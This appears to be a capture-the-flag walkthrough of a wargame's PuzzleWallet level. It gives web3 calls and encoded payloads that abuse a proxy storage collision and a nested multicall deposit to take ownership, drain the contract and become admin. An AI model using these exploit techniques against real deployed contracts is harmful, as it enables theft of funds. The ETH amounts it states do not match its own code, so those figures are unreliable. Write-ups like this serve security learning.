We have to become owner of PuzzleWallet. In order to do that, we can call proposeNewAdmin function of proxy contract with relevant payload. This will change first storage’s value to our address. And allows us to become owner of PuzzleWallet (since it will check proxy’s first storage when we delegate call).
propose_payload = web3.eth.abi.encodeFunctionCall({
name:'proposeNewAdmin',
type:'function',
inputs:[{
type:'address',
name:'_newAdmin'
}]}, [player])
sendTransaction({from:player,to:owner,data:propose_payload})
Since we are owner now, we have to add ourself to whitelisted and change maxBalance to our address to become admin.
To change ETH balance, we need to withdraw with execute function. However, It doesn’t allow us to withdraw more than we deposited.
web3.eth.abi.encodeParameter("bytes[]",["0xd0e30db0"]) → 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db0000000000000000000000000000000000000000000000000000000000xac9650d8 + 0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000contract.multicall([deposit_signature, multicall_sign_with_deposit_param])contract.multicall(["0xd0e30db0","0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000"],{value: toWei("0.001")})
Now contract’s balance is 0.02 (we deposited 0.01), but user balance is 0.02.
Then we call execute to withdraw 0.02 eth and drain balance to zero.
Then set maxBalance to player address to become admin. contract.setMaxBalance(player)